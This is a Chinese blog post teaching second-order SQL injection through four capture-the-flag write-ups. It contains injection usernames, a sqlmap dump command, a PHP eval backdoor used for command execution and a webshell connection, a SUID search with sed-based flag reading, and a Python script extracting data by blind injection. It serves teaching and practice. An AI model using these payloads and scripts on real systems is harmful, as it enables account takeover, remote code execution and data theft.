二次注入

用户跟程序交互时,通过注册,修改密码等操作将数据存入数据库中,如果没有进行过滤或者只是简单的转义后就写入到数据库中,假如用户输入恶意sql语句造成sql语句的拼接和截断,就会造成越权或者sql注入。

二次注入是存储型注入,二次注入一般出现在注册和修改密码等处

例如修改密码的sql语句是

1
$ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";

我传入的username为admin'#
那么语句就会变成

1
$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘#’ and password=’$ curr_pass’ ";

实际上执行的是

1
$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘

那么就可以越权修改admin的密码了

例题1
注册账号,无过滤

[October 2019]Twice SQL Injection

开局有一个注册的跳转
随便注册一个进去发现没有利用的地方
尝试构造语句
注册 用户名1’ union select 666 # 密码123 登录
image.png
发现回显
没有过滤,直接联合查询找到flag在flag表
最终payload 1 ‘union select flag from flag # 123

例题2
修改密码,无过滤

[NSSRound#1 Basic]sql_by_sql

随便注册一个账号登录
发现/update路由修改密码
查看源码

注册一个admin'--+#账号
然后登录admin'--+
点击修改密码
修改成功后admin的密码被修改了,这里相对于执行update user set password=’%s’ where username=’admin’–+’;
登录admin
抓个查询的包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /query HTTP/1.1
Host: node4.anna.nssctf.cn:28167
Accept: */*
Referer: http://node4.anna.nssctf.cn:28167/home
Origin: http://node4.anna.nssctf.cn:28167
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Zie6ig.W2qNyQXizv2MXtqtjL4v-8M4oGM
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 4

id=1

sqlmap -r 1.txt --batch --random-agent -T flag -C flag --dump

例题3

登录改密越权,无过滤

[湖湘杯 2021 final]Penetratable

尝试一下发现是双引号闭合
注册 **admin"#**
登录
image.png
发现这里name直接显示的是admin,二次注入成功
修改密码然后登录admin,这里c的参数变成admin了
image.png
发现admin并没有什么东西
想起刚开始的页面
image.png
猜测要root账户登录
如法炮制
注册root”#
但是在修改密码时发现没有权限
image.png
抓包发现了更新密码的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?c=admin&m=updatePass HTTP/1.1
Host: node4.anna.nssctf.cn:28896
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Origin: http://node4.anna.nssctf.cn:28896
Referer: http://node4.anna.nssctf.cn:28896/?c=user
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=26ad8fbd4be248b8b3beb898d494838e
Content-Length: 119

name=cm9vdA==&newPass=63a9f0ea7bb98050796b649e85481845&oldPass=b2ca678b4c936f905fb82f2733f5297f&saying=cm9vdA%3D%3D

cm9vdA==root base64
image.png
要之前管理员的cookie
image.png
登录root
在管理下载处发现文件遍历路由
image.png

1
2
3
4
5
6
7
8
9
GET /?c=root&m=downloadRequestLog&filename=20240424.txt HTTP/1.1
Host: node4.anna.nssctf.cn:28896
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Referer: http://node4.anna.nssctf.cn:28896/?c=root&m=getLogList
Cookie: PHPSESSID=26ad8fbd4be248b8b3beb898d494838e
Upgrade-Insecure-Requests: 1

image.png
../../../var/www/html/phpinfo.php发现后门

1
2
3
4
<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

/phpinfo.php?pass_31d5df001717=1q2w3e&cc=system('ls');
[http://node4.anna.nssctf.cn:28072/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);](http://node4.anna.nssctf.cn:28072/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);)
连接antsward
发现没权限读flag
find / -user root -perm -4000 -print 2>/dev/null
看到sed命令有s权限

sed操作:
a:增加,在当前行下面增加一行指定内容。
c:替换,讲选定行替换为指定内容。
d:删除,删除选定的行。
i:插入,在选定行上面插入一行指定内容。
p:打印,如果同时指定行,表示打印指定行;如果不指定行,则表示打印所有内容,如果又非打印字符,则以ASCLL码输出。通常与“-n”选项一起使用。
s:替换,替换指定字符
y:字符转换

sed p /flag
image.png

例题4
注册回显,有过滤

[网鼎杯 2018]unfinish

猜测有注册路由register.php
注册username 1'and '0 登录
回显用户名为0,存在二次注入
image.png
测试发现有些注册不了,存在过滤
过滤了,和information等
这里username限制了长度,爆不出表名,只能嗯猜select flag from flag
可以用类似0'+ascii(substr(database() from 1 for 1))+'0;的方式回显出数据的ascii
如法炮制注flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import logging
import re
from time import sleep


def search(url):
flag = ''
url1 = url + 'register.php'
url2 = url + 'login.php'
session = requests.Session()

for i in range(100):
sleep(0.3) # 避免过于频繁的请求
data1 = {
"email": "1234{}@123.com".format(i),
"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i),
"password": "123"
}
data2 = {"email": "1234{}@123.com".format(i), "password": "123"}

try:
# 注册
r1 = session.post(url1, data=data1)
# 登录
r2 = session.post(url2, data=data2)
# 解析响应
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r2.text)
if res:
res1 = re.search(r'\d+', res.group())
flag += chr(int(res1.group()))
print(flag)
else:
logging.debug("未找到匹配的数据")
except requests.RequestException as e:
logging.error("请求错误: %s", e)

print("final:" + flag)

if __name__ == '__main__':
search('http://node4.anna.nssctf.cn:28435/')


二次注入
http://example.com/2024/04/23/二次注入/
作者
J_0k3r
发布于
2024年4月23日
许可协议
BY J_0K3R